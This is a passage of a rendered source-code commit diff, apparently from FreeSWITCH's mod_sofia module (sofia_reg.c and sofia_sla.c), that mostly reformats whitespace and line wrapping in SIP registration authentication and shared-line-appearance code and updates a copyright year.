</span><span class="lines">@@ -1638,7 +1616,7 @@
</span><span class="cx">                 nua_cancel(nh, TAG_END());
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (var_gateway) {
</span><span class="cx">                 sofia_reg_release_gateway(var_gateway);
</span><span class="lines">@@ -1677,20 +1655,15 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
-                                                                sip_authorization_t const *authorization,
-                                                                sip_t const *sip,
</del><ins>+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
+                                                                sip_authorization_t const *authorization,
+                                                                sip_t const *sip,
</ins><span class="cx">                                                                 const char *regstr,
</span><del>-                                                                char *np,
-                                                                size_t nplen,
-                                                                char *ip,
-                                                                switch_event_t **v_event,
-                                                                long exptime,
-                                                                sofia_regtype_t
-                                                                regtype,
-                                                                const char *to_user,
-                                                                switch_event_t **auth_params,
-                                                                long *reg_count)
</del><ins>+                                                                char *np,
+                                                                size_t nplen,
+                                                                char *ip,
+                                                                switch_event_t **v_event,
+                                                                long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count)
</ins><span class="cx"> {
</span><span class="cx">         int indexnum;
</span><span class="cx">         const char *cur;
</span><span class="lines">@@ -1781,7 +1754,7 @@
</span><span class="cx">                 nonce_cb_t cb = { 0 };
</span><span class="cx">                 long nc_long = 0;
</span><span class="cx">                 first = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (nc) {
</span><span class="cx">                         nc_long = strtoul(nc, 0, 16);
</span><span class="cx">                         sql = switch_mprintf("select nonce,last_nc from sip_authentication where nonce='%q' and last_nc < %lu", nonce, nc_long);
</span><span class="lines">@@ -1791,7 +1764,7 @@
</span><span class="cx">
</span><span class="cx">                 cb.nonce = np;
</span><span class="cx">                 cb.nplen = nplen;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_assert(sql != NULL);
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_nonce_callback, &cb);
</span><span class="cx">                 free(sql);
</span><span class="lines">@@ -1883,12 +1856,11 @@
</span><span class="cx">                 domain_name = realm;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username,
-                                                         domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username, domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n"
</span><span class="cx">                                                  "You must define a domain called '%s' in your directory and add a user with the id=\"%s\" attribute\n"
</span><del>-                                                 "and you must configure your device to use the proper domain in it's authentication credentials.\n"
-                                                 , username, domain_name, domain_name, username);
</del><ins>+                                                 "and you must configure your device to use the proper domain in it's authentication credentials.\n", username, domain_name,
+                                                 domain_name, username);
</ins><span class="cx">
</span><span class="cx">                 ret = AUTH_FORBIDDEN;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -1900,7 +1872,7 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(number_alias = (char *) switch_xml_attr(user, "number-alias"))) {
</span><span class="cx">                 number_alias = zstr(username) ? "nobody" : username;
</span><span class="cx">         }
</span><span class="lines">@@ -1940,7 +1912,7 @@
</span><span class="cx">                         if (!strcasecmp(var, "mwi-account")) {
</span><span class="cx">                                 mwi_account = val;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, "user-agent-filter")) {
</span><span class="cx">                                 user_agent_filter = val;
</span><span class="cx">                         }
</span><span class="lines">@@ -2030,18 +2002,12 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* Check if network_ip is a proxy allowed to send us calls */
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d acls to check for proxy\n", profile->proxy_acl_count);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (x = 0; x < profile->proxy_acl_count; x++) {
</span><span class="cx">                                 last_acl = profile->proxy_acl[x];
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                 "checking %s against acl %s\n",
-                                                                 ip, last_acl
-                                                                 );
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "checking %s against acl %s\n", ip, last_acl);
</ins><span class="cx">                                 if (switch_check_network_list_ip(ip, last_acl)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                         "%s is a proxy according to the %s acl\n",
-                                                                         ip, last_acl
-                                                                         );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s is a proxy according to the %s acl\n", ip, last_acl);
</ins><span class="cx">                                         network_ip_is_proxy = 1;
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -2055,10 +2021,7 @@
</span><span class="cx">                                 int x_auth_ip = 0;
</span><span class="cx">                                 for (un = sip->sip_unknown; un; un = un->un_next) {
</span><span class="cx">                                         if (!strcasecmp(un->un_name, "X-AUTH-IP")) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                                 "found auth ip [%s] header of [%s]\n",
-                                                                                 un->un_name, un->un_value
-                                                                                 );
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "found auth ip [%s] header of [%s]\n", un->un_name, un->un_value);
</ins><span class="cx">                                                 if (!zstr(un->un_value)) {
</span><span class="cx">                                                         if (!switch_check_network_list_ip(un->un_value, auth_acl)) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by user acl %s\n", un->un_value, auth_acl);
</span><span class="lines">@@ -2066,9 +2029,7 @@
</span><span class="cx">                                                                 goto end;
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</span><del>-                                                                                                 "IP %s allowed by acl %s, checking credentials\n",
-                                                                                                 un->un_value, auth_acl
-                                                                                                 );
</del><ins>+                                                                                                 "IP %s allowed by acl %s, checking credentials\n", un->un_value, auth_acl);
</ins><span class="cx">                                                                 x_auth_ip = 1;
</span><span class="cx">                                                                 break;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -2084,12 +2045,12 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP [%s] passed ACL check [%s]\n", ip, auth_acl);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(passwd) && zstr(a1_hash)) {
</span><span class="cx">                 ret = AUTH_OK;
</span><span class="cx">                 goto skip_auth;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!a1_hash) {
</span><span class="cx">                 input = switch_mprintf("%s:%s:%s", username, realm, passwd);
</span><span class="cx">                 su_md5_init(&ctx);
</span><span class="lines">@@ -2104,41 +2065,43 @@
</span><span class="cx">         if (user_agent_filter) {
</span><span class="cx">                 if (switch_regex_match(user_agent, user_agent_filter) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                                 "SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
</ins><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         ret = AUTH_FORBIDDEN;
</span><span class="cx">                         if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                 "SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter,
+                                                                 user_agent);
</ins><span class="cx">                         }
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (max_registrations_perext > 0 &&
-         (sip && sip->sip_contact &&
-         (sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
-         /* if expires is null still process */
-         /* expires == 0 means the phone is going to unregiser, so don't count against max */
</del><ins>+        if (max_registrations_perext > 0 && (sip && sip->sip_contact && (sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
+                /* if expires is null still process */
+                /* expires == 0 means the phone is going to unregiser, so don't count against max */
</ins><span class="cx">                 int count = 0;
</span><span class="cx">
</span><span class="cx">                 call_id = sip->sip_call_id->i_id;
</span><span class="cx">                 switch_assert(call_id);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sql = switch_mprintf("select count(sip_user) from sip_registrations where sip_user='%q' AND call_id <> '%q'", username, call_id);
</span><span class="cx">                 switch_assert(sql != NULL);
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_regcount_callback, &count);
</span><span class="cx">                 free(sql);
</span><del>-                
-                if (count+1 > max_registrations_perext) {
</del><ins>+
+                if (count + 1 > max_registrations_perext) {
</ins><span class="cx">                         ret = AUTH_FORBIDDEN;
</span><span class="cx">                         if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                 "SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
</ins><span class="cx">                         }
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> for_the_sake_of_interop:
</span><span class="cx">
</span><span class="cx">         if ((input = switch_mprintf("%s:%q", regstr, uri))) {
</span><span class="lines">@@ -2187,7 +2150,7 @@
</span><span class="cx">                         switch_event_create_plain(v_event, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (v_event && *v_event) {
</span><span class="cx">                         short int xparams_type[6];
</span><span class="cx">                         switch_xml_t xparams[6];
</span><span class="lines">@@ -2203,12 +2166,12 @@
</span><span class="cx">                         if (mwi_account) {
</span><span class="cx">                                 switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "mwi-account", mwi_account);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((uparams = switch_xml_child(user, "params"))) {
</span><span class="cx">                                 xparams_type[i] = 0;
</span><span class="cx">                                 xparams[i++] = uparams;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (group && (gparams = switch_xml_child(group, "params"))) {
</span><span class="cx">                                 xparams_type[i] = 0;
</span><span class="cx">                                 xparams[i++] = gparams;
</span><span class="lines">@@ -2238,15 +2201,15 @@
</span><span class="cx">                                 int j = 0;
</span><span class="cx">
</span><span class="cx">                                 for (j = 0; j < i; j++) {
</span><del>-                                        for (param = switch_xml_child(xparams[j], (xparams_type[j]?"variable":"param")); param; param = param->next) {
</del><ins>+                                        for (param = switch_xml_child(xparams[j], (xparams_type[j] ? "variable" : "param")); param; param = param->next) {
</ins><span class="cx">                                                 const char *var = switch_xml_attr_soft(param, "name");
</span><span class="cx">                                                 const char *val = switch_xml_attr_soft(param, "value");
</span><span class="cx">                                                 sofia_gateway_t *gateway_ptr = NULL;
</span><span class="cx">
</span><del>-                                                if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-",4) || !strcasecmp(var, "register-gateway")) ) {
</del><ins>+                                                if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-", 4) || !strcasecmp(var, "register-gateway"))) {
</ins><span class="cx">                                                         if (!switch_event_get_header(*v_event, var)) {
</span><span class="cx">                                                                 if (profile->debug) {
</span><del>-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n",var, val);
</del><ins>+                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n", var, val);
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                                 switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
</span><span class="cx">                                                         } else {
</span><span class="lines">@@ -2326,7 +2289,7 @@
</span><span class="cx"> #else
</span><span class="cx"> #define        LL_FMT "l"
</span><span class="cx"> #endif
</span><del>-                sql = switch_mprintf("update sip_authentication set expires='%"LL_FMT"u',last_nc=%lu where nonce='%s'",
</del><ins>+                sql = switch_mprintf("update sip_authentication set expires='%" LL_FMT "u',last_nc=%lu where nonce='%s'",
</ins><span class="cx">                                                          switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : exptime + 10), ncl, nonce);
</span><span class="cx">
</span><span class="cx">                 switch_assert(sql != NULL);
</span><span class="lines">@@ -2399,7 +2362,7 @@
</span><span class="cx">         sofia_gateway_t *gateway = NULL;
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>- void *val;
</del><ins>+        void *val;
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, mod_sofia_globals.gateway_hash); hi; hi = switch_hash_next(hi)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_slac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -74,7 +74,7 @@
</span><span class="cx">         char exp_str[256] = "";
</span><span class="cx">         char my_contact[256] = "";
</span><span class="cx">         char *sql;
</span><del>-        struct sla_helper sh = { { 0 } };
</del><ins>+        struct sla_helper sh = { {0} };
</ins><span class="cx">         char *contact_str = sofia_glue_strip_uri(full_contact);
</span><span class="cx">         sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
</span><span class="cx">         char network_ip[80];
</span><span class="lines">@@ -83,17 +83,17 @@
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">         char port_str[25] = "";
</span><span class="cx">
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">
</span><del>-        sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
</del><ins>+        sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
</ins><span class="cx">                                                  mod_sofia_globals.hostname, profile->name, contact_str);
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, get_call_id_callback, &sh);
</span><span class="cx">
</span><span class="cx">         free(sql);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*sh.call_id) {
</span><span class="cx">                 if (!(nh = nua_handle_by_call_id(profile->nua, sh.call_id))) {
</span><del>-                        if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
</del><ins>+                        if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
</ins><span class="cx">                                                                          mod_sofia_globals.hostname, profile->name, contact_str))) {
</span><span class="cx">                                 sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><span class="cx">                         }
</span><span class="lines">@@ -110,15 +110,15 @@
</span><span class="cx">
</span><span class="cx">         switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
</span><span class="cx">
</span><del>-        if (sofia_glue_check_nat(profile, network_ip)) {
-                switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
</del><ins>+        if (sofia_glue_check_nat(profile, network_ip)) {
+                switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
</ins><span class="cx">                                                 profile->extsipip, port_str, sofia_glue_transport2str(transport), exp_str);
</span><span class="cx">         } else {
</span><del>-                switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
</del><ins>+                switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
</ins><span class="cx">                                                 profile->sipip, port_str, sofia_glue_transport2str(transport), exp_str);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        dst = sofia_glue_get_destination((char*) full_contact);
</del><ins>+        dst = sofia_glue_get_destination((char *) full_contact);
</ins><span class="cx">
</span><span class="cx">         if (dst->route_uri) {
</span><span class="cx">                 route_uri = sofia_glue_strip_uri(dst->route_uri);
</span><span class="lines">@@ -130,9 +130,7 @@
</span><span class="cx">                                  SIPTAG_FROM(sip->sip_to),
</span><span class="cx">                                  SIPTAG_CONTACT_STR(my_contact),
</span><span class="cx">                                  SIPTAG_EXPIRES_STR(exp_str),
</span><del>-                                 SIPTAG_EVENT_STR("dialog;sla;include-session-description"),
-                                 SIPTAG_ACCEPT_STR("application/dialog-info+xml"),
-                                 TAG_NULL());
</del><ins>+                                 SIPTAG_EVENT_STR("dialog;sla;include-session-description"), SIPTAG_ACCEPT_STR("application/dialog-info+xml"), TAG_NULL());
</ins><span class="cx">
</span><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="cx">
</span><span class="lines">@@ -158,13 +156,13 @@
</span><span class="cx">
</span><span class="cx">         sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
</span><span class="cx">
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">         /*
</span><span class="cx">          * XXX MTK FIXME - we don't look at the tag to see if NUTAG_SUBSTATE(nua_substate_terminated) or
</span><span class="cx">          * a Subscription-State header with state "terminated" and/or expiration of 0. So we never forget
</span><span class="cx">          * about them here.
</span><span class="cx">          * likewise, we also don't have a hook against nua_r_notify events, so we can't see nua_substate_terminated there.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">         /*
</span><span class="cx">          * extracting AOR is weird...
</span><span class="lines">@@ -180,30 +178,29 @@
</span><span class="cx">          * ok, and now that we HAVE the AOR, we REALLY should go check in the XML config and see if this particular
</span><span class="cx">          * extension is set up to have shared appearances managed. right now it is all-or-nothing on the profile,
</span><span class="cx">          * which won't be sufficient for real life. FIXME XXX MTK
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">         /* then the subscriber is the user at their network location... this is arguably the wrong way, but works so far... */
</span><span class="cx">
</span><span class="cx">         subscriber = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_from->a_url->url_user,
</span><span class="cx">                                                                 sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
</span><del>-
</del><ins>+
</ins><span class="cx">         if ((sql =
</span><del>-                switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
-                        subscriber, profile->name, mod_sofia_globals.hostname
-                        ))) {
</del><ins>+                 switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
+                                                subscriber, profile->name, mod_sofia_globals.hostname))) {
</ins><span class="cx">                 sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((sql =
</span><span class="cx">                  switch_mprintf("insert into sip_shared_appearance_subscriptions (subscriber, call_id, aor, profile_name, hostname, contact_str, network_ip) "
</span><del>-                 "values ('%q','%q','%q','%q','%q','%q','%q')",
-                 subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
</del><ins>+                                                "values ('%q','%q','%q','%q','%q','%q','%q')",
+                                                subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
</ins><span class="cx">                 sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (strstr(contact_str, ";fs_nat")) {
</span><span class="cx">                 char *p;
</span><del>-                route_uri = sofia_glue_get_url_from_contact((char *)contact_str, 1);
</del><ins>+                route_uri = sofia_glue_get_url_from_contact((char *) contact_str, 1);
</ins><span class="cx">                 if ((p = strstr(contact_str, ";fs_"))) {
</span><span class="cx">                         *p = '\0';
</span><span class="cx">                 }
</span><span class="lines">@@ -222,21 +219,17 @@
</span><span class="cx">
</span><span class="cx">         switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
</span><span class="cx">
</span><del>-        if (sofia_glue_check_nat(profile, network_ip)) {
-                sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip,
-                                                                         port_str, sofia_glue_transport2str(transport));
</del><ins>+        if (sofia_glue_check_nat(profile, network_ip)) {
+                sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip, port_str, sofia_glue_transport2str(transport));
</ins><span class="cx">         } else {
</span><del>-                sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip,
-                                                                         port_str, sofia_glue_transport2str(transport));
</del><ins>+                sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip, port_str, sofia_glue_transport2str(transport));
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua),
-                                TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
-                                SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
-                                SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
</del><ins>+        nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua), TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"),        /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
+                                SIPTAG_EXPIRES_STR("300"),        /* likewise, totally fake - FIXME XXX MTK */
</ins><span class="cx">                                 /* sofia_presence says something about needing TAG_IF(sticky, NUTAG_PROXY(sticky)) for NAT stuff? */
</span><span class="cx">                                 TAG_END());
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(aor);
</span><span class="cx">         switch_safe_free(subscriber);
</span><span class="cx">         switch_safe_free(route_uri);
</span><span class="lines">@@ -251,7 +244,8 @@
</span><span class="cx">
</span><span class="cx"> void sofia_sla_handle_sip_r_subscribe(int status,
</span><span class="cx">                                                                          char const *phrase,
</span><del>-                                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
</del><ins>+                                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                         tagi_t tags[])
</ins><span class="cx"> {
</span><span class="cx">         if (status >= 300) {
</span><span class="cx">                 nua_handle_destroy(nh);
</span><span class="lines">@@ -267,8 +261,8 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if ((sql = switch_mprintf("insert into sip_shared_appearance_dialogs (profile_name, hostname, contact_str, call_id, expires) "
</span><del>-                                                                 "values ('%q','%q','%q','%q','%ld')",
-                                                                 profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long)expires))) {
</del><ins>+                                                                 "values ('%q','%q','%q','%q','%ld')",
+                                                                 profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long) expires))) {
</ins><span class="cx">                         sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -298,20 +292,20 @@
</span><span class="cx">          * yet check each AOR as it comes in to see if it is to be managed, is more subscribers than we probably
</span><span class="cx">          * should have). for the current prototype stage, this works ok anyway.
</span><span class="cx">          * and because we don't parse the XML, we even reflect it right back to the notifier/sender (which is called
</span><del>- * "target" in the payload XML, of course).
</del><ins>+         * "target" in the payload XML, of course).
</ins><span class="cx">          * also because we don't track on a per-appearance basis, there IS NOT a hook back from sofia_glue to add
</span><span class="cx">          * an appearance index to the outbound invite for the "next free appearance". this can lead to race
</span><span class="cx">          * conditions where a call shows up on slightly different line key numbers at different phones, making
</span><span class="cx">          * "pick up on line X" meaningless if such a race occurs. again, it is a prototype. we can fix it later.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         /* the dispatcher calls us just because it is aimed at us, so check to see if it is dialog;sla at the very least... */
</span><span class="cx">
</span><del>-        if ( (!sip->sip_event)
-         || (strcasecmp(sip->sip_event->o_type, "dialog"))
-         || !msg_params_find(sip->sip_event->o_params, "sla") ) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,"sent to sla-agent but not dialog;sla\n");
</del><ins>+        if ((!sip->sip_event)
+                || (strcasecmp(sip->sip_event->o_type, "dialog"))
+                || !msg_params_find(sip->sip_event->o_params, "sla")) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "sent to sla-agent but not dialog;sla\n");
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -326,16 +320,15 @@
</span><span class="cx">          * so we don't reflect it back at anyone who is the "boss" config, but we do reflect it back at the "secretary"
</span><span class="cx">          * config. if that breaks the phone, just set them all up as the "boss" config where ext#==third-party#
</span><span class="cx">          */
</span><del>-        contact = switch_mprintf("sip:%s@%s;transport=%s",sip->sip_contact->m_url->url_user,
</del><ins>+        contact = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_contact->m_url->url_user,
</ins><span class="cx">                                                          sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
</span><span class="cx">
</span><span class="cx">         if (sip->sip_payload && sip->sip_payload->pl_data) {
</span><span class="cx">                 sql = switch_mprintf("select subscriber,call_id,aor,profile_name,hostname,contact_str,network_ip from sip_shared_appearance_subscriptions where "
</span><del>-                "aor='%q' and profile_name='%q' and hostname='%q'",
-                aor, profile->name, mod_sofia_globals.hostname);
</del><ins>+                                                         "aor='%q' and profile_name='%q' and hostname='%q'", aor, profile->name, mod_sofia_globals.hostname);
</ins><span class="cx">
</span><span class="cx">                 helper.profile = profile;
</span><del>-                helper.payload = sip->sip_payload->pl_data;         /* could just send the WHOLE payload. you'd get the type that way. */
</del><ins>+                helper.payload = sip->sip_payload->pl_data;        /* could just send the WHOLE payload. you'd get the type that way. */
</ins><span class="cx">
</span><span class="cx">                 /* which mutex if any is correct to hold in this callback? XXX MTK FIXME */
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_sla_sub_callback, &helper);
</span><span class="lines">@@ -360,7 +353,7 @@
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">         char *xml_fixup = NULL;
</span><span class="cx">         char *fixup = NULL;
</span><del>-        nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
